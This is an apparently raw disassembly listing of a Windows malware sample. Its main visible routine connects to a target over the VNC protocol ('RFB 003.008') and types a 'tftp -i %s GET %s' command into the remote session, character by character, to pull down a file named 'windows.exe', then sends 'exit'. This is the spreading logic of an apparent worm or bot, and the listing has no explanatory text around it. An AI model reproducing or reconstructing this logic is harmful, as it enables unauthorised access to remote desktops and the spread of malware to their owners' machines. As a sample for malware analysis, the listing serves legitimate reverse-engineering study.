lea eax, [ebp+var_4]
push eax
push esi
call dword_4441A0 ; send
lea eax, [ebp+var_8]
jmp short loc_41DDA4
; ---------------------------------------------------------------------------
loc_41DD90: ; CODE XREF: sub_41DCBE+B7j
mov esi, [ebp+arg_0]
push ebx
push 1
lea eax, [ebp+var_4]
push eax
push esi
call dword_4441A0 ; send
lea eax, [ebp+var_C]
loc_41DDA4: ; CODE XREF: sub_41DCBE+D0j
push ebx
push 1
push eax
push esi
call dword_4441A0 ; send
push [ebp+Str] ; Str
call _strlen
cmp eax, 2
pop ecx
push ebx
jnz short loc_41DDC5
push 4
lea eax, [ebp+var_14]
jmp short loc_41DDCA
; ---------------------------------------------------------------------------
loc_41DDC5: ; CODE XREF: sub_41DCBE+FEj
push 5
lea eax, [ebp+var_1C]
loc_41DDCA: ; CODE XREF: sub_41DCBE+105j
push eax
push esi
call dword_4441A0 ; send
push ebx
push [ebp+Str] ; Str
call _strlen
pop ecx
push eax
push [ebp+Str]
push esi
call dword_4441A0 ; send
loc_41DDE7: ; CODE XREF: sub_41DCBE+B4j
; sub_41DCBE+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_41DCBE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8Ch
push ebx
push esi
push edi
mov esi, offset aRfb003_008 ; "RFB 003.008\n"
lea edi, [ebp-3Ch]
movsd
movsd
movsd
movsb
mov esi, offset dword_439548
lea edi, [ebp-24h]
movsw
movsb
mov esi, offset dword_439520
lea edi, [ebp-2Ch]
movsd
movsb
mov esi, offset dword_439544
lea edi, [ebp-18h]
movsw
movsb
mov esi, offset dword_439540
lea edi, [ebp-10h]
movsw
xor ebx, ebx
push ebx
push 1
movsb
push 2
mov word ptr [ebp-14h], 1
mov word ptr [ebp-20h], 1
mov word ptr [ebp-1Ch], 72h
xor edi, edi
call dword_444100 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp-8], esi
jnz short loc_41DE61
push eax
call dword_444218 ; closesocket
loc_41DE61: ; CODE XREF: .text:0041DE58j
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-4Ch], 2
call dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
call dword_444260 ; htons
mov [ebp-4Ah], ax
push 10h
lea eax, [ebp-4Ch]
push eax
push esi
call dword_4440AC ; connect
test eax, eax
jnz loc_41E113
jmp loc_41E18C
; ---------------------------------------------------------------------------
loc_41DE9E: ; CODE XREF: .text:0041E1B1j
cmp eax, 0FFFFFFFFh
jz short loc_41DED5
mov eax, edi
sub eax, ebx
jz loc_41E153
dec eax
jz loc_41E121
dec eax
jnz loc_41E183
lea eax, [ebp-2Ch]
push eax
lea eax, [ebp-8Ch]
push eax
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_41E113
loc_41DED5: ; CODE XREF: .text:0041DEA1j
; .text:0041E186j ...
push ebx
push 1
lea eax, [ebp-20h]
push eax
push esi
call dword_4441A0 ; send
push 1
lea eax, [ebp-18h]
push eax
push esi
call sub_41DCBE
mov esi, ds:dword_42B014
add esp, 0Ch
mov edi, 3E8h
push edi
call esi ; Sleep
push ebx
lea eax, [ebp-1Ch]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 0Ch
push edi
call esi ; Sleep
push 2
lea eax, [ebp-18h]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 0Ch
push edi
call esi ; Sleep
push offset byte_4434D8
mov [ebp-4], ebx
call _strlen
test eax, eax
pop ecx
mov ebx, offset aC_2 ; "%c"
jbe short loc_41DF7D
loc_41DF3E: ; CODE XREF: .text:0041DF7Bj
mov eax, [ebp-4]
movsx eax, byte_4434D8[eax]
push eax
push ebx
lea eax, [ebp-0Ch]
push 3
push eax
call __snprintf
push 0
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push offset byte_4434D8
call _strlen
cmp [ebp-4], eax
pop ecx
jb short loc_41DF3E
loc_41DF7D: ; CODE XREF: .text:0041DF3Cj
push 0
lea eax, [ebp-10h]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 0Ch
push 7D0h
call esi ; Sleep
push 100h
push 0
push offset byte_4E27F0
call _memset
add esp, 0Ch
push offset aWindows_exe ; "windows.exe"
push dword ptr [ebp+8]
call sub_4023C9
pop ecx
push eax
push offset aTftpISGetS ; "tftp -i %s GET %s"
push 0FFh
push offset byte_4E27F0
call __snprintf
and dword ptr [ebp-4], 0
push offset byte_4E27F0
call _strlen
add esp, 18h
test eax, eax
jbe short loc_41E020
loc_41DFE1: ; CODE XREF: .text:0041E01Ej
mov eax, [ebp-4]
movsx eax, byte_4E27F0[eax]
push eax
push ebx
lea eax, [ebp-0Ch]
push 3
push eax
call __snprintf
push 0
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push offset byte_4E27F0
call _strlen
cmp [ebp-4], eax
pop ecx
jb short loc_41DFE1
loc_41E020: ; CODE XREF: .text:0041DFDFj
push edi
call esi ; Sleep
push 0
lea eax, [ebp-10h]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 0Ch
push 7530h
call esi ; Sleep
and dword ptr [ebp-4], 0
push offset aWindows_exe ; "windows.exe"
call _strlen
test eax, eax
pop ecx
jbe short loc_41E08D
loc_41E04E: ; CODE XREF: .text:0041E08Bj
mov eax, [ebp-4]
movsx eax, byte ptr aWindows_exe[eax] ; "windows.exe"
push eax
push ebx
lea eax, [ebp-0Ch]
push 3
push eax
call __snprintf
push 0
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push offset aWindows_exe ; "windows.exe"
call _strlen
cmp [ebp-4], eax
pop ecx
jb short loc_41E04E
loc_41E08D: ; CODE XREF: .text:0041E04Cj
push edi
call esi ; Sleep
push 0
lea eax, [ebp-10h]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
and dword ptr [ebp-4], 0
mov edi, offset aExit ; "exit"
push edi
call _strlen
add esp, 10h
test eax, eax
jbe short loc_41E0EF
loc_41E0B4: ; CODE XREF: .text:0041E0EDj
mov eax, [ebp-4]
movsx eax, byte ptr aExit[eax] ; "exit"
push eax
push ebx
lea eax, [ebp-0Ch]
push 3
push eax
call __snprintf
push 0
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push edi
call _strlen
cmp [ebp-4], eax
pop ecx
jb short loc_41E0B4
loc_41E0EF: ; CODE XREF: .text:0041E0B2j
push 2
pop edi
loc_41E0F2: ; CODE XREF: .text:0041E10Bj
push 258h
call esi ; Sleep
push 0
lea eax, [ebp-10h]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 0Ch
dec edi
jnz short loc_41E0F2
mov esi, [ebp-8]
xor ebx, ebx
inc ebx
loc_41E113: ; CODE XREF: .text:0041DE93j
; .text:0041DECFj ...
push esi
call dword_444218 ; closesocket
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41E121: ; CODE XREF: .text:0041DEAEj
lea eax, [ebp-24h]
push eax
lea eax, [ebp-8Ch]
push eax
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_41E113
lea eax, [ebp-14h]
push ebx
push eax
call _strlen
pop ecx
push eax
lea eax, [ebp-14h]
push eax
push esi
call dword_4441A0 ; send
push 2
pop edi
jmp short loc_41E18C
; ---------------------------------------------------------------------------
loc_41E153: ; CODE XREF: .text:0041DEA7j
lea eax, [ebp-3Ch]
push eax
lea eax, [ebp-8Ch]
push eax
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_41E113
lea eax, [ebp-3Ch]
push ebx
push eax
call _strlen
pop ecx
push eax
lea eax, [ebp-3Ch]
push eax
push esi
call dword_4441A0 ; send
xor edi, edi
inc edi
loc_41E183: ; CODE XREF: .text:0041DEB5j
cmp edi, 3
jz loc_41DED5
loc_41E18C: ; CODE XREF: .text:0041DE99j
; .text:0041E151j
push 40h
lea eax, [ebp-8Ch]
push ebx
push eax
call _memset
add esp, 0Ch
push ebx
push 40h
lea eax, [ebp-8Ch]
push eax
push esi
call dword_444064 ; recv
cmp eax, ebx
jg loc_41DE9E
jmp loc_41DED5
; ---------------------------------------------------------------------------
align 10h
; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [000000E9 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
; [00000162 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION j__atol. PRESS KEYPAD "+" TO EXPAND]
; [000000AD BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000088 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41EC78 proc near ; CODE XREF: sub_40274D+5685p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_42B02C ; DeleteFileA
test eax, eax
jnz short loc_41EC8E
call ds:dword_42B01C ; RtlGetLastWin32Error
jmp short loc_41EC90
; ---------------------------------------------------------------------------
loc_41EC8E: ; CODE XREF: sub_41EC78+Cj
xor eax, eax
loc_41EC90: ; CODE XREF: sub_41EC78+14j
test eax, eax
jz short loc_41EC9F
push eax
call __dosmaperr
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41EC9F: ; CODE XREF: sub_41EC78+1Aj
xor eax, eax
retn
sub_41EC78 endp
; [00000032 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41ECD4 proc near ; CODE XREF: sub_40274D+2F87p
; sub_40274D+3268p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4434F0, eax
retn
sub_41ECD4 endp
; [00000023 BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
; [00000148 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002D BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000039 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BE BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000086 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000135 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000B8 BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION _wcscat. PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION _wcscpy. PRESS KEYPAD "+" TO EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND]
; [000000A6 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000121 BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __ftol2. PRESS KEYPAD "+" TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION j__free. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
pop ebx
leave
retn 8
; [00000007 BYTES: COLLAPSED FUNCTION sub_41FEF0. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [000000C5 BYTES: COLLAPSED FUNCTION _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [000000B2 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND]
; [00000019 BYTES: COLLAPSED FUNCTION _CreateFrameInfo(FrameInfo *,void *). PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION IsExceptionObjectToBeDestroyed(void *). PRESS KEYPAD "+" TO EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION _FindAndUnlinkFrame(FrameInfo *). PRESS KEYPAD "+" TO EXPAND]
; [00000059 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND]
align 4
; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD "+" TO EXPAND]
; [0000003A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000011D BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND]
; [00000107 BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42065F proc near ; CODE XREF: sub_40FDC3+100p
; sub_419429+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call ds:dword_42B050 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_42067F
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
call __dosmaperr
pop ecx
loc_42067B: ; CODE XREF: sub_42065F+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_42067F: ; CODE XREF: sub_42065F+Dj
test al, 1
jz short loc_4206A0
test [esp+arg_4], 2
jz short loc_4206A0
mov dword_4E28F4, 0Dh
mov dword_4E28F8, 5
jmp short loc_42067B
; ---------------------------------------------------------------------------
loc_4206A0: ; CODE XREF: sub_42065F+22j
; sub_42065F+29j
xor eax, eax
retn
sub_42065F endp
; [00000016 BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+" TO EXPAND]
; [0000008E BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND]
; [00000107 BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000095 BYTES: COLLAPSED FUNCTION __aulldvrm. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION __strupr. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND]
; [000000D5 BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND]
pop ecx
pop ecx
retn
; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND]
; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4210CC proc near ; CODE XREF: ___endstdiop
push 1
call _flsall
pop ecx
retn
sub_4210CC endp
; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND]
; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND]
; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND]
; [000001EE BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND]
; [00000168 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND]
; [00000072 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND]
; [00000116 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
; [000007DA BYTES: COLLAPSED FUNCTION __output. PRESS KEYPAD "+" TO EXPAND]
off_422AA2 dd offset loc_4224E4 ; DATA XREF: __output+85r
dd offset loc_422354 ; jump table for switch statement
dd offset loc_422371
dd offset loc_4223BD
dd offset loc_4223FE
dd offset loc_422407
dd offset loc_422445
dd offset loc_422526
; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_422B83. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_422B6F proc near ; DATA XREF: .rdata:stru_4396D0o
xor eax, eax
inc eax
retn
sub_422B6F endp
; =============== S U B R O U T I N E =======================================
sub_422B73 proc near ; DATA XREF: .rdata:stru_4396D0o
mov esp, [ebp-18h]
sub_422B73 endp ; sp-analysis failed
; [0000000D BYTES: COLLAPSED CHUNK OF FUNCTION sub_422B83. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION sub_422B83. PRESS KEYPAD "+" TO EXPAND]
; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [0000005F BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND]
; [00000088 BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND]
; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND]
; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND]
; [00000081 BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423257 proc near ; CODE XREF: start:loc_420E00p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset stru_439BE8
call __SEH_prolog
mov [ebp+var_1C], offset dword_43A73C
loc_42326A: ; CODE XREF: sub_423257+3Cj
cmp [ebp+var_1C], offset dword_43A73C
jnb short loc_423295
and [ebp+ms_exc.disabled], 0
mov eax, [ebp+var_1C]
mov eax, [eax]
test eax, eax
jz short loc_42328B
call eax ; GetUserNameA
jmp short loc_42328B
; ---------------------------------------------------------------------------
loc_423284: ; DATA XREF: .rdata:stru_439BE8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_423288: ; DATA XREF: .rdata:stru_439BE8o
mov esp, [ebp+ms_exc.old_esp]
loc_42328B: ; CODE XREF: sub_423257+27j
; sub_423257+2Bj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
add [ebp+var_1C], 4
jmp short loc_42326A
; ---------------------------------------------------------------------------
loc_423295: ; CODE XREF: sub_423257+1Aj
call __SEH_epilog
retn
sub_423257 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_42329B()
sub_42329B proc near ; DATA XREF: __cinit:loc_41F181o
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset stru_439BF8
call __SEH_prolog
mov [ebp+var_1C], offset dword_43A744
loc_4232AE: ; CODE XREF: sub_42329B+3Cj
cmp [ebp+var_1C], offset dword_43A744
jnb short loc_4232D9
and [ebp+ms_exc.disabled], 0
mov eax, [ebp+var_1C]
mov eax, [eax]
test eax, eax
jz short loc_4232CF
call eax ; GetUserNameA
jmp short loc_4232CF
; ---------------------------------------------------------------------------
loc_4232C8: ; DATA XREF: .rdata:stru_439BF8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_4232CC: ; DATA XREF: .rdata:stru_439BF8o
mov esp, [ebp+ms_exc.old_esp]
loc_4232CF: ; CODE XREF: sub_42329B+27j
; sub_42329B+2Bj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
add [ebp+var_1C], 4
jmp short loc_4232AE
; ---------------------------------------------------------------------------
loc_4232D9: ; CODE XREF: sub_42329B+1Aj
call __SEH_epilog
retn
sub_42329B endp
; [00000032 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __inc. PRESS KEYPAD "+" TO EXPAND]
; [00000E67 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+" TO EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND]
; [0000028C BYTES: COLLAPSED FUNCTION ___libm_error_support. PRESS KEYPAD "+" TO EXPAND]
; [00000035 BYTES: COLLAPSED FUNCTION _has_osfxsr_set. PRESS KEYPAD "+" TO EXPAND]
; [000000CE BYTES: COLLAPSED FUNCTION ___sse2_available_init. PRESS KEYPAD "+" TO EXPAND]
; [000000D3 BYTES: COLLAPSED FUNCTION __floor_default. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND]
; [0000004B BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND]
